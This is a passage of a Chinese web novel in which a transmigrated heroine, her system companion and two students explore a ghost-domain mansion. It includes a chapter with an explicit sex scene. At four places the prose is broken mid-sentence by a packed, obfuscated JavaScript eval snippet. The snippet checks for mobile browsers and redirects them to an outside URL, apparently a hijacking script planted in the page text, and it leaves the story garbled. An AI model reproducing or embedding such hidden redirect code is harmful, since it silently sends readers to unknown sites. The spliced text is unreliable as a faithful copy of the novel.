一步,两步,水声黏稠,他们终于踩到了地面上,越珑的心却更加提起来。 “那些东西……没有追上我们?” 她喃喃道。 不对,那些怪物生活在水中,怎么会跟不上动作缓慢的三人?那么为什么它们没有上前?为什么没有袭击? 如果不是在水里…… “先别出来!” 越珑大声说。 但已经晚了,当顾羽的双脚踏上地面时,水中一个黑影猛地跃出,冲着他撕咬而去! “靠,什么东西!” 顾羽顾不上将闵朝言放下,忍着痛意向一边闪去,那形状扭曲的怪物无声咆哮着,足可以将一整个人头吞进去的巨口向顾羽冲过来。 就在怪物即将咬下顾羽的头颅时,动作却猛地停住,它瞪大了漆黑无光的眼睛,视线向上抬了一点。 咕噜——叽咕—— 长满了牙齿的巨口中没有舌头,怪物努力发出黏稠仿佛哭泣一般的声音,看向闵朝言的方向,扭曲崎岖的肢体向下颤动, 它要跪下吗? 「这就是鬼王的身份压制?不对,要是它对着你跪下了,你的身份不就暴露了?!」 系统大惊。 闵朝言皱起眉,手中鞭影浮现,[溺亡者]随时待命。 干脆出手杀了这怪物,比起战斗力暴露,还是身份暴露更加麻烦一些。 真烦, 她其实不想干活的。 就在闵朝言出手前一刻,锐利的光芒闪过,怪物的动作停下,随后在一片寂静的嘶鸣挣扎中,落在地上,碎裂成千万块肉泥。 闵朝言抬眼,越过满地血泥看过去,越珑站在对面,神色冷峻,左手攥着一支钢笔,仿佛手握长剑。 原来,这钢笔就是她的武器。 「奇怪,原剧情里越珑的命定武器和她的祖先一样,是一把大刀,怎么现在变成钢笔了?」 系统疑惑。 ‘崩坏值99,出现什么都不奇怪。’ 闵朝言看了一眼那只收起后再次被越珑插在发间的钢笔,若有所思。 “厉害,谢谢。” 顾羽劫后余生,松了一口气,对越珑道谢。 他将闵朝言放下,让她站在地面上,四周用目光检查好几圈,见她身上没有任何伤口,这才安心下来。 “光进来就要了半条命,这地方可真够诡异的。” 顾羽说着,垂下眼,惊讶地说: “等等,我的裤子没湿?不对,脚上也没有伤口!” 三人如今已经站在小石子铺成的地面上,刚才闵朝言没有在池水中走路,她身上没有水很正常,但越珑和顾羽身上,却也是干爽一片,没有半点水迹。 最重要的是,二人刚才在水中行走,仿佛肢体在池塘中扎根了一般,每走一步都极其沉重,甚至将要自己的皮肤和血肉硬生生“撕扯”下来。 但现在他们脚上却没有任何伤口,连疼痛的记忆都已经消失了。 怎么会这样? 顾羽下意识看向越珑,等她说出答案。 越珑咬住下唇,神色更加严肃起来,语气凝重: “看来,刚才的一切,都是‘心魇’。” 心魇,是鬼域幻境的一种, 通过塑造出一个极度危险的环境,将人困在其中跋涉,需要经过极大的痛苦才能离开幻境。 它最大的特点在于,心魇的危险不在幻境中,而在幻境外。 心魇中的危险,虽然看上去恐怖骇人,但只要忍耐下痛苦,就一定能走出去。 当人们以为自己已经经历苦难离开险境之后,在精神放松下来的一瞬间,怪物才会真正出手袭击! “真阴呐。” 顾羽翻了个白眼,吐槽道。 三人离开心魇幻境之中,在其中感受到的痛苦和虚弱也尽数消失,能力恢复了一些。 “你觉得木灼青在这里?” 闵朝言问。 她知道木灼青对于越珑的重要程度,越珑费了这么大力气进入这座府邸,必然是为了寻找对方。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16483274|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗯,她应该会在鬼域核心附近的地方。” 越珑点头。 “她会有危险吗?” 闵朝言问。 “……会,也不会。” 越珑只是这么说。 三人此刻已经来到了府邸的庭院中。 这座府邸是“镇国公主府”,被建造得非常大气,前厅的院子也颇为豪华,只是如今已经废弃破败,荒凉之外更添惊悚。 没有继续贸然探索,三人在前厅廊下席地而坐,算是休息。 “我们先休息一下,再看看这里面有什么,我怀疑这个鬼域主人的执念,和‘水’有关,要重点留意池塘、水井之类的地方。” 越珑说。 她显然不是第一次进入鬼域,行动和思考逻辑都很有章法。 在原剧情中,越珑幼年曾经有一次跟随身为捉鬼人的母亲进入鬼域救人,当时被救下的幸存者,就是木灼青。 “你之前来过这种地方吗?你看上去很熟练。” 闵朝言问。 “……算是吧。” 越珑显然不想回答这个问题,犹豫了一下,又开口说道: “别怕,虽然不能说为什么,但相信我,我可以把你安全带回去的。” 看来, 她将闵朝言的问题理解成了惊恐之下寻求安心的举动。 ‘系统,在原剧情里,她也这么回避自己和鬼域的交集吗?’ 闵朝言问。 闵朝言的记性一般,这种细节的问题,她还是需要系统来核实。 「我看看……没有诶,她很痛快地就和顾羽说清楚自己的身份和目的了。毕竟她作为捉鬼人,向普通人保密鬼域的存在是不想引起他们的恐慌,但是和已经被卷入了的人就没有隐瞒的必要了。」 系统回答。 ‘越珑崩坏值的起源,可能就在这里。’ 闵朝言说。 越珑为什么这么回避自己与鬼域的交集,甚至到了要放弃捉鬼人身份的地步? 找到这个问题的答案,她就能知道越珑的崩坏值为何而来。 “你在想什么?” 顾羽的声音从闵朝言身边传来,他和她坐得很近,几乎肩膀相贴,两个人之间的距离,将呼吸都交缠在一起。 “发呆。” 闵朝言回答。 “你要不要问问我在想什么?” 顾羽知道她没说实话,但是也没有纠结这个问题,反而问闵朝言。 “你在想什么。” 闵朝言说。 “我在想,人真的很奇怪。” 顾羽看着她的眼睛,缓缓说, “莫名其妙地到了这个地方,遇见这些乱七八糟的事情,也不知道能不能回到现实世界去,但是,我反而觉得有点开心。” “嗯?” 闵朝言没理解他的逻辑。 “除了越珑之外,你看所有人的眼神都差不多,好像我们根本不存在一样。不过,现在我们有了很独特的共同经历了,这样的话,我在想,是不是你看我的眼神也会有一点不一样呢?” 顾羽说着,牵着闵朝言的手,放在自己大腿上。 一笔一画,他在闵朝言手心写出自己的名字。 “顾、羽。这是我的名字,是这么写的,很简单的,一点也不难记。” 他的声音里带着笑,还有一点温柔的恳求: “记住我吧。” 他说。 28. 校园鬼域(7) “顾羽。” 闵朝言唤他的名字。 “嗯。” 顾羽点头,凑到她面前来,像只乖巧的大金毛,安静等待着她的下一句话。 闵朝言伸出双手捧着他的脸颊,低下头吻住他的唇瓣, 毫无技巧,没有一点温柔可言,完全只是为了自己的,随心所欲的吻。 顾羽闭上眼,没有挣扎,任由她的犬齿在自己唇间留下一道血痕,这像印记,也像勋章。 她的吻里没有可以被称为“爱”,甚至哪怕是“喜欢”的东西, 但她在吻他。 昏暗到近乎于无的月光下,两人模糊的影子重叠在一起, 这和爱侣亲昵无关,比起缠绵更像是献祭的吻。 顾羽的初恋, 是一场莫名开启,伴随着沼泽漩涡,受害者却不愿逃离的灾难。 “额,咳咳——” 越珑的声音在身后小声响起,伴随着看上去尴尬但实际上充满了八卦欲的咳嗽声, “不是故意打扰你们,但咱们是不是应该往里面走了?” 她说着,一双眼睛激光一样在闵朝言和顾羽身上来回扫了三圈,感慨道: “你们这些会谈恋爱的人真是厉害,咱们开学才两周啊。” 越珑和闵朝言(的假身份)都是川阳大学的新生,今年秋天刚刚入学。 闵朝言看了她一眼,没接话。 面对明显不是闲聊类型的闵朝言,越珑也不强求,只是把视线转移到了顾羽身上,拍了拍他的肩膀,语气友好中带着明晃晃的威胁: “朝言是我罩着的,你要是渣了她的话,我就把你重新扔进鬼域哦,副会长。” 顾羽看着她,半晌,也语重心长地拍拍她的肩膀: “当个事办。” ……? 这两个人在说什么。 闵朝言有点听不懂了,这种语重心长互相托付的监护人即视感是怎么回事? 「两个梗王罢了,不用理。」 系统也有点无语。 经过这么一打岔,三人组的气氛再次松快了一些,开始向府邸内探索。 依旧是越珑打头,顾羽垫后,闵朝言被保护在中心的行走顺序。 这座府邸其实没有想像中那么大,内部的布局意外地很紧凑,走过前厅的横廊就是正堂。 正堂高悬着一块红木匾额, 上面的金漆已经斑驳不清,只能勉强辨认出来一个“往”字。 堂前悬挂着九盏红灯笼,样式精致华美,可惜布面已经风化破碎,只露出里面燃烧到一半的红色蜡烛,蜡泪顺着布面的缺口向下流淌,被定格在半空中。 和红灯笼呼应的,是正堂内部高高贴在墙面上的囍字,只是漆金退去之后,只剩下四个“口”悬挂在上面,明明正堂内没有风,却只见那四张大口微微颤动着。 「闵朝言,我在这里检测到了人类生命体征,一共四个,都在这个府邸的范围里了。」 系统出声说。 四个人类中,越珑和顾羽就在闵朝言身边, 剩下的两个,一个是此刻不知道具体方位的木灼青,还有一个,是在这个鬼域呆了不知道多久的“前辈”。 ‘好。’ 闵朝言点头。 “这是场婚礼吗?” 顾羽四处观察着,眼神很尖地捕捉到了一个细节: 地上有一个散开的同心结,半端还是纯正的红色,半端已经逐渐风化发黑。 “看来这场婚礼的结局不好。” 越珑蹲下观察着同心结,若有所思,她很谨慎地没有碰到正堂中的任何东西。 “所以这个鬼域的主人,可能是婚礼的主角之一吗?” 闵朝言问。 在原剧情中,越珑一行人一直都没有触发过礼堂的鬼域,所以闵朝言也不知道这里会发生什么。 “也许吧。” 越珑回答, “鬼域的主人不一定是人类,也可能是动物,或者某种生出了灵智的物品,所以我们不能只局限在一个方向去找。” “……动物就算了,东西也能有执念吗?” 顾羽有点惊讶。 “是什么让你觉得这个世界的主人是人类?我们生活的现代世界本来就是一场幻觉,是无数个人用自己的生命,甚至后代生生世世的生命来维持住的幻觉。” 越珑嗤笑一声。 闵朝言看着她的表情,很慢地眨了眨眼睛。 在现实世界里,越珑是一个性格热情开朗,非常自来熟,对抽象漫画有着狂热梦想的人,这当然是她真实的性格。 但在鬼域中,另一部分真实的越珑也逐渐浮现了: 一个下意识回避着和鬼域之间的联系,不愿谈及自己捉鬼人身份,甚至对自己家族世代传承的使命,也绝对谈不上衷心认可。 说实话, 比原剧情里那个充满了少年热血傻白甜的理想主义者要有意思。 闵朝言如此认为。 “如果鬼域主人的执念内容是婚礼,那么这个同心结有可能就是核心物品,我们先不要碰。” 越珑说。 核心物品承载着鬼域主人的执念,一旦触碰,就会被拉入执念幻境之中,除非杀死藏身其中的鬼域主人,或者化解执念,否则无法离开幻境。 “如果能靠化解执念离开,这是最好的了。” 越珑叹气。 化解执念和杀死鬼域主人,这两个方法一文一武,都能封印鬼域,使其不再作乱。 但是若是化解执念,可以让鬼域主人自然消散,进入往生,偿还罪业,再世为人;若是选择了杀死鬼域主人,对方就会彻底完全地死去,连带所有因果罪业,一同消散。 “我明白了,念经超度和物理超度。” 顾羽点头,耸耸肩看着越珑: “肯定听你的,不管哪种超度,我们俩都不会啊。” 他指了指自己和闵朝言。 “如果是化解执念的话,你们俩还是能帮上忙的。” 越珑对着闵朝言笑了一下。 “我们先去周围看看有什么可以找到的线索,摸清楚这里发生了什么再回来……!” 越珑的声音停住。 正堂中,无风自动的四张“口”竟然从墙上飞了下来,其中三个以迅雷不及掩耳之势,直接套在了三人的脑袋上! “看来它不想让我们慢慢找线索!” 顾羽看着紧紧绑着自己的红纸,奋力挣扎,居然怎么也挣脱不出来。 三张“口”缓缓缩紧,将三人往同心结的方向拽去。 闵朝言低下头看着缠在自己身上的“口”, 这张纸虚张声势地将她往前拽去,看似和其他的“口”没有不同,但她能感受到的部分,内在却无比柔软,仿佛一床上好的羽绒被,没有一点不适。 “好孩子。” 她低声说。 这张“口”,显然比刚才的杀到闵朝言头上才反应过来要跪下的池塘怪物要聪明得多。 它不但一早就认出了闵朝言的真实身份,甚至还知道闵朝言现在要伪装身份,所以表面上依然看似凶悍,内里却很是殷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16486200|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 勤。 ——!//A// 得到了闵朝言的夸奖,“口”激动地颤抖起来,外层愈发狂热的扭动着,内侧已经开始给闵朝言按摩了! 三张“口”在同心结前停下,同心结缓缓悬空,绳结散开,将三人绑住。 越珑暗自观察着巨大绳结的弱点,手已经不着痕迹地摸上了自己钢笔,她是极天才的捉鬼人,即使不能一击杀死这些东西,制造一个逃出去的空档,还没有那么难。 但是…… 越珑握着武器的手犹豫了,她抬眼看着闵朝言。 “木灼青可能也是这样,我们去找她。” 闵朝言对着越珑点头。 越珑迟迟没有拿出武器挣脱,正是因为想到了这一点。 她是要去救木灼青的,一定要去。 但闵朝言呢?顾羽呢? 她难道能因为自己想要救人,就将这两个无辜的人扔在原地,更甚者,带着进入险境吗? 越珑是一个负责任的好人,她无法作出选择,也很难决定要去牺牲谁, 这是好人注定无法回答的问题。 越珑看着闵朝言,良久,眼眶隐隐泛红,声音很轻: “谢谢。” 谢谢你,看出了我的犹豫, 谢谢你,帮我做出了选择。 闵朝言看懂了越珑的感激, 但越珑的感动却实在没有什么意义。 因为闵朝言只是为了获得积分,才推动着越珑做出了她自己需要,闵朝言也需要的选择而已。 这一切都是建立在谎言和利用之上,正如她们在这个鬼域中发生的一切。 “……不需要。” 闵朝言开口说。 这个时候其实不应该这样回答,闵朝言心里清楚,最符合自己利益的选择是接下越珑的这份感激,这会成为她后期操控越珑的道德资本,会方便她完成任务。 如果想要操纵一个好人,道德资本是很好用的武器。 但闵朝言是一个没有长期计划,也没有长久概念的人,所以她现在想说什么就会说什么。 并不是, 在这样的一个瞬间里, 她没有那么想要欺骗越珑了。 随着同心结的缠绕,三人之间的距离越来越近,在即将被挤入幻境的瞬间,闵朝言感受到自己的两只手,都被人紧紧地握住。 眼前一黑过后,比视觉更先恢复的是听觉。 脚步声,交谈声,玉质酒杯碰撞时发出的清脆声音,裙摆走动时珠翠摇晃的声音…… 好吵, 好吵…… 好吵!!!! 闵朝言猛地伸出手捂住耳朵,长长的广袖打翻了面前案几上的酒杯和点心,全场瞬间安静,甚至没有人敢发出呼吸的声音。 “殿、下,请、请殿下恕罪!” 身边哗啦啦跪下来一片, 侍女侍从们的膝盖重重撞在地上,额头抵在地面上,连眼睛碰到了地上的碎瓷片,都不敢抬头。 “请殿下恕罪!” “请殿下恕罪!!” “请殿下恕罪——!” 台下,所有人立刻起身跪在地上,高呼着,恐惧着。 闵朝言终于睁开了眼,看着面前的景象, 她所处的空间并没有改变,这里依然是“镇国公主府”。 而她也在这瞬间知道了自己现在的身份, 能让所有人在这里跪下求饶请罪的,也只有那一个人而已。 她现在是这座府邸的主人, 镇国公主,闵朝言。 29. 校园鬼域(8) 这算什么, 副本中的副本吗? 闵朝言看着底下跪了一地的人,缓缓皱起眉,随后在满是寂静之中,低下头翻开了自己案几上的竹简。 这个竹简在这里,实在显得很突兀,而且,它绝不是一开始就在这里的。 刚才闵朝言的袖子摆动,将台面上的东西打翻的打翻,打乱的打乱,即使竹简因为重量没有被掀翻下去,也不至于连一点位置的变动还没有,依然稳稳当当地被放在正中心。 所以,这是刚刚才出现的东西, 是什么? 闵朝言翻开竹简,上面写着的是标准的简体字: - 你是这里的镇国公主,皇帝重病多年,由你殿前主政。 十年来,你已经渐渐成为这个国家真正的主人。你的手段狠辣,凶名极盛。 你即将年满二十五岁,重病的皇帝下了一道圣旨,要求你在年底之前成婚,驸马的人选可以由你自己选定。 因此你举办了一场百花宴,前来参加的,都是京府中的青年才俊, 今晚,你要在这些人中,选择出自己的驸马。 注意, 这是不能做错的决定。 - 闵朝言合上竹简,向下看去,这时才注意到, 除了侍女侍从此外,宴会的宾客个个都是模样姣好的青年男子,显然都经过了精心打扮,从发型到妆饰,都充满着各自的风格巧思,一眼望去实在是各有千秋,美不胜收。 每张案几上都放着一只花瓶,瓶中有一支盛放的精致绒花,有人是玫瑰,有人是芍药,还有桃花、梨花、月季等等…… 看来是这位公主的选妃局,有幸被她选中瓶中花朵的人,就是她最终的驸马了。 闵朝言若有所思。 挺会玩。 看着底下还跪着的一大片人,闵朝言随意摆摆手。 侍女瞬间领会主人的意思,乖巧谢恩后起身,由她带头,其他人也都渐渐起身,宴会中再次响起乐声。 ‘系统。’ 闵朝言开口。 「四个人类都在这里了!但是还是不知道具体方位。」 系统很懂事地主动汇报。 ‘这像个剧本杀。’ 闵朝言翻着手中的竹简,这卷竹简只有几行浮现了文字,剩下的部分还是一片空白。 玩家扮演角色,需要完成阶段任务,剧本内容会根据游戏进度逐渐解锁, 特质是符合的。 「我们进的是镇国公主府,你现在的身份又是镇国公主,看来你肯定是这个剧本的主角了。」 系统说。 ‘剧本杀的主角一般是死者。’ 闵朝言回答。 系统被噎住了,过了一会儿才说: 「也可能是凶手啊,我感觉你很适合。」 闵朝言不置可否。 在丝竹乐声中,一个秀气的男孩向着闵朝言的方向跪下,声音清脆: “殿下,我哥哥想向殿下献舞,可否请殿下赏光一观?” 男孩不过十来岁光景,正是孩子最可爱讨喜的时候,脸蛋白净圆润,笑起来像个年画娃娃,声音脆中带糯,便是最铁石心肠的人,看了也要心软。 闵朝言身边的侍女也不禁莞尔,抬手掩住翘起的唇角。 “你笑什么?” 闵朝言问。 那侍女俯身,在闵朝言耳侧回答: “这位小公子的长兄,是礼部尚书长子,那位公子素来最是清高,是不屑什么官场应酬的,却一心只牵挂着殿下。 今日愿为殿下当庭献舞,想必是下了好大的决心,生怕被您回绝,特意挑了个最讨喜的孩子来,盼着殿下心软赏光呢。” 在全系剧本杀里,NPC提供前期信息很正常,闵朝言点头了然,知道这个“尚书公子”应该也是个重要角色。 “看。” 她说。 侍女起身,对着男孩点头,于是同时,乐声音调一变,缠绵悱恻中又带着思慕之情,在伴舞的簇拥之下,一只足有半人高的大鼓被缓缓推入宴会中。 大鼓上,一个身着白衣的青年背身而立,青丝如瀑落下,随着乐声渐起,他回眸一笑。 很美。 青年赤足起舞,舞步每一次落下,都是鼓点与丝竹应和。 他手中一支月季花苞,随着舞动的节奏,一点点绽开盛放,就如同舞蹈中青年独自诉说着初见惊心,再见倾心的孤独爱语。 随着花苞盛放,仿佛那心中的爱恋之情尽数涌流,鼓声渐强,忐忑不安却暗自雀跃。 青年的衣摆舞动飘然,鼓也逐渐行至台下,他自鼓面跃下! 最后一声重鼓停下, 他单膝跪在闵朝言身前,将手中那支已经完全盛放的月季献上,笑容中带着期盼,和尽管已经极力按捺,但依然显而易见的紧张。 闵朝言看着他的脸, 一张熟悉的面孔。 眉眼明亮,瞳孔是偏浅的褐色,在光下有种泛金色的质感,天生笑唇,身材挺拔,非常阳光的长相。 是顾羽。 “我不知道你还会跳舞,” 闵朝言说。 “我不会,顾公子会。” 两人之间的距离极近,顾羽压低了声音回答。 看来,“一舞动京城”是顾羽的角色设定。 “但如果你喜欢,我可以去学。” 顾羽又笑了,对着闵朝言又举了举自己手中盛放的月季花。 全场再次安静下来,所有人都屏住了呼吸,目露惊疑,甚至有人已经捂住了自己的眼睛,不敢去看接下来发生的事情。 站在下面的小男孩更是紧张得说不出话,不住用可怜巴巴的目光看着闵朝言,试图用卖萌的方式来救下自己这个胆大包天的哥哥。 这是一场公主的“选妃宴”,顾名思义,候选人们固然可以全力展示自己,吸引上位者的目光,但需要时刻谨记彼此之间的权力关系,他们始终是被挑选的一方。 如此将花直接送到闵朝言面前的举动,固然是一种极大的展示,但也是极大的风险: 她喜欢,那这就是至情至性的可爱, 她不喜欢,那这就是胆大包天要送上性命的冒犯。 闵朝言低头看了一眼自己的竹简,上面依然没有浮现出文字。 看来,是否接下“顾公子”的花,就是之前竹简上写明的第一阶段任务: 选择出自己的驸马。 “献花是你的任务?” 闵朝言问。 “不是,我的任务是决定要不要献花。” 顾羽摇头。 他醒过来的时候,人已经在鼓上,马上就要被推出去,简单扫过自己的人物简介,就被推上了这道送命题。 顾羽原本是打定主意摆烂的,却没想到台上的人就是闵朝言。 其实也没什么惊讶的,她很适合这个身份。 看到闵朝言神色淡漠地坐在高台上时,顾羽不禁这样想。 看着顾羽的表情,闵朝言没说话,抬手接过那只盛放的月季花,将花头折断,反手簪在顾羽发间。 “赏。” 她吐出一个字。 公主做出了她的选择, 宴会结束了。 夜间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16494208|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梳洗结束,闵朝言让所有人离开房间,自己独自翻看着手中的竹简。 在她选择了顾羽成为驸马之后,竹简第二部分的内容也解锁了: - 你选择了一个所有人意料之外的人选,成为自己的驸马。 没有人知道你真正的目的,只有你自己心里很清楚,你必须这样做。 你的婚礼定在你二十五岁生日的那一天,重病已久的皇帝非常重视这次婚礼,当礼部尚书接到皇帝的圣旨时,几乎晕了过去。 你的婚礼极其隆重繁华,甚至比三十年前皇帝的登基大典还要盛大。 人人都说,皇帝爱极了你这个女儿,甚至要冒天下之大不韪,册封你为皇太子, 你听着这样的传言,没有表露任何情绪,只是再次杀光了所有议论的人。 接下来,你要好好准备自己的婚礼了, 这是不能假手于人的重要事情。 - 闵朝言看着竹简上的内容,思考着。 她选择的驸马是顾羽,顾羽的身份是礼部尚书的长子。 而负责筹备婚礼的官员,刚好就是礼部尚书本人,这其中会有什么联系吗? 房门被敲响,走进来的是宴会时侍奉在闵朝言身边的侍女,她向闵朝言行礼,却不是姿态婉转的宫礼,而是另一种闵朝言不认识的礼节。 她凑到闵朝言耳边,声音压低: “皇帝下了口谕,既然驸马已经选定,便不必归家了,直接在公主府修习如何侍奉公主,直到大婚。” 闵朝言点头,示意自己知道了。 “耳目越来越多了,你要小心。” 侍女说完,又转身离开。 这个侍女显然是公主的心腹,而且是关系极好的心腹,在私下相处时,侍女完全没有“服侍”的姿态,反而更像是她的下属,向她传递重要情报。 看来,刚才在宴会上,侍女的惊慌行礼和卑微姿态,更多的是为了帮公主巩固“残暴危险”的名声,做一个带头传播恐惧和服从的人。 看上去,也是一个很重要的角色。 会不会隐藏在侍女这个角色之下的,就是系统检测到的第四个人类? 闵朝言将这一点默默记下。 门再次被推开,走进来的是顾羽,他换了一身衣服,一身青衫,更显得长身玉立,只是与他的气质不太符合,总有点别扭。 “我突然不能回家了,皇帝旗下的御林军把我‘护送’到这里来的。” 顾羽说着,在闵朝言身边坐下,为她倒了一杯茶,将自己的竹简递给她, “我下个阶段的内容解锁了。” 闵朝言接过竹简,打开一看,上面却是一片空白,一点文字的痕迹也没有。 “每个人都只能看到自己竹简上的内容。” 闵朝言皱起眉。 “这可就麻烦了。” 顾羽显然也想到了这一层。 竹简的内容只能持有人看到,这说明了,要么他们之间存在着重要的对立关系;要么,这个不互通的条件,就是为了挑起他们之间的对立关系。 就像剧本杀不能互相读本一样, 本质都是为了摧毁玩家之间的信任关系。 “你相信我吗?” 闵朝言突然问。 顾羽笑了一声,摇了摇头,说: “说实话吗?我不。” 在闵朝言的沉默中,顾羽凑近她,看着她的眼睛,一字一句地说: “我不需要相信你,我们之间从来不是合作关系。” “你说了,我就去做。” “我不相信你,我服从你。” 30. 校园鬼域(8) 闵朝言有时候会想, 人为什么要对月亮寄托那么多的情怀和感受? 或许是因为,当月色皎洁撒下的瞬间,多么离谱荒诞的誓言都会变得真挚起来。 她抬手摸着顾羽的脸颊,对方安静地回以注视,仿佛这世上的一切都不重要,只有她值得被在意。 闵朝言不知道自己是否被对方的誓言所感动,她并不在意顾羽说出口的是真心还是谎言。 在这一瞬间,她觉得他, 非常,动人。 “那我就教你,服从我的第一步。” 闵朝言勾起唇角,隐秘的期待含在唇齿间, “跪下。” 青衫落在地面,顾羽终于摆脱了这不大符合他气质的衣服,露出青年几近成熟但还带着一些青涩味道的躯体。 肌肉饱满但不显得过分鼓胀,放松时的手感软而韧,闵朝言的手顺着他肩膀滑下,眯起眼睛,按了几下,满意地听见对方的呼吸节奏一顿。 “好孩子。” 她说。 进入幻境后,二人的外表长相依然相同,但装扮都变得更符合环境中的“身份”,顾羽的长发散落在闵朝言指间,柔软而顺服,像是小蛇匍匐在她掌心。 青年的犬齿划过敏感的肌肤,闵朝言动作一顿,惩罚一样轻轻扯着他的头发。 “唔……不要用牙齿,用舌头。” 坏脾气的老师像是报复一样,轻轻踢了一下对方腹下。 顾羽闷哼一声,按捺住急促的呼吸,乖乖伸出舌尖,动作生涩而笨拙,像只横冲直撞的兔子,尽了全力,因为足够柔软,反而更是不同趣味。 他的鼻梁挺拔,划过时,惹得闵朝言呼吸间发痒,忍不住笑了一声出来。 “……?” 青年抬起头,唇间无暇发问,睁着一双俊眼,半是疑惑半是羞涩地看着她。 “现在,慢慢起来,” 闵朝言笑着说。 于是那一点痒意随着轻柔的吻向上蔓延,他双手环抱住闵朝言,侧耳去听她心跳的声音。 那其实不是真实的心跳, 闵朝言知道。 “然后,抱着我,” 她的唇贴在他耳边, “去床上。” 正如在所有事情上一样,甚至做得更好,顾羽是一个天赋异禀又非常勤勉好学的学生,他总是能最快领会老师的意图,然后做出让她满意,甚至超出满意的成果。 闵朝言的广袖裙散落在床边,丝绸材质堆叠出优美的弧度,映出今夜愈发盛放的月光。 在月色下,她的肌肤更胜雪色,顾羽将自己连同所有思绪心跳埋进雪中,他努力取悦着这位苛刻严格的老师。 在月色残余的皎洁中,他小心翼翼地握住她的手,与她十指交扣,她的指节,掌心,手腕,沾染上如同露水滑落一般的晶莹。 闵朝言眯着眼睛,抬起头想要去问他,却被对方避开,再一看,顾羽红着一张脸,轻咬着下唇,耳尖如同烈火灼烧。 真是活色生香, 闵朝言呼吸一顿。 “没关系,我还嫌弃自己吗?” 她笑着说,双手搂住他的脖子,在他的唇间落下一个吻。 勤勉的学生理应得到他的奖励。 顾羽迷迷糊糊地想着,也闭上眼,回以痴狂的爱意。 月色终于落幕。 翌日, 闵朝言睁开眼睛,发现自己的手依然被握在掌心里,眨了眨眼,这才反应过来,她昨天没有把顾羽赶走。 这其实不符合她的习惯,她不是愿意和别人一起入睡的人。 但也许是因为这个副本的特殊身份,她在和阳气充足的人接触时,心情总会感到更加愉快一些。 或许是因为身处鬼域,闵朝言发觉自己消耗阳气的速度加快了, 虽说昨晚不是为了补充阳气才和顾羽相亲,但要是没有这一遭,她大概又要突发一次“尸化”。 ‘系统,这个阳气,不能存起来吗?’ 她问系统。 「啊?啊!哦对你们结束了,你昨天也不提前给我预警一下,我还是个孩子呢!」 系统气鼓鼓地说, 「这种少儿不宜的画面我才不要看!」 你一串数据在给自己搞什么纯情人设啊? 闵朝言沉默了一瞬。 ‘说正事。’ 她回。 「什么呀,你能陪他玩一晚上,怎么陪我玩两下就不肯了?闵朝言,他就是这个副本里露水姻缘,我们俩才是要一起走很久的!」 系统不满。 闵朝言没说话, 系统在意识空间里突然有种被鄙视之感,泄了气不敢再闹,却又听见她说: “我知道,你是我的同伴。” …… 系统沉默久久,竟然不知道自己该说什么,明明只是想要撒娇耍赖一下,并没指望闵朝言真的会哄它,因此真听见这句话时,居然连怎么回答都想不出来了。 「对,我们是同伴,——同伴!」 系统小声回答了一句,又忍不住大声再次重复一遍,笑得合不拢嘴——虽然它并没有嘴这个器官。 「还有,那个阳气的事,其实商城里是有阳气储存设备的,但是卖得很贵,要九百积分。这种可以直接影响剧情线发展的道具都卖得很贵。像咱们在上个副本买得起道具,是因为你有新人福利价。」 系统说。 「不过,我们可以买点不直接影响剧情,但是也能帮助你的道具!」 系统说着,在闵朝言面前投影出一个页面: [玛丽之吻] [属性:一次性道具] [说明:亲爱的,给我一个吻吧!在天亮之前,你会看见自己最美丽的样子——人生来就是白骨。] [效果:瞬间汲取使用对象全部生命力,使用对象会在下一次太阳升起时化为白骨。] [售价:50积分] [目标设定:-未使用-] 闵朝言看着上面的描述,挑了下眉。 不光这个道具是一次性的,很显然,这个道具的使用对象也是一次性的。 ‘你看顾羽很不顺眼啊。’ 她说。 「虽然确实有点,但我不是那么公报私仇的人,再说了,他是男二呢,大后期才会死的!」 系统一本正经地回答, 「如果有什么紧急情况,这个可以用在别的NPC身上嘛。」 闵朝言对此不置可否,但反正也不贵,出于给系统顺毛的心理,她还是买了一个。 “唔,你醒了?” 身后传来顾羽超绝不经意的低哑声线,在清晨格外诱人。 「呸,他早就醒了,估计心里已经排练几百遍了吧!」 系统冷哼一声。 ‘不好玩吗?’ 闵朝言的声音里带上一点笑意。 系统哼哼着没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 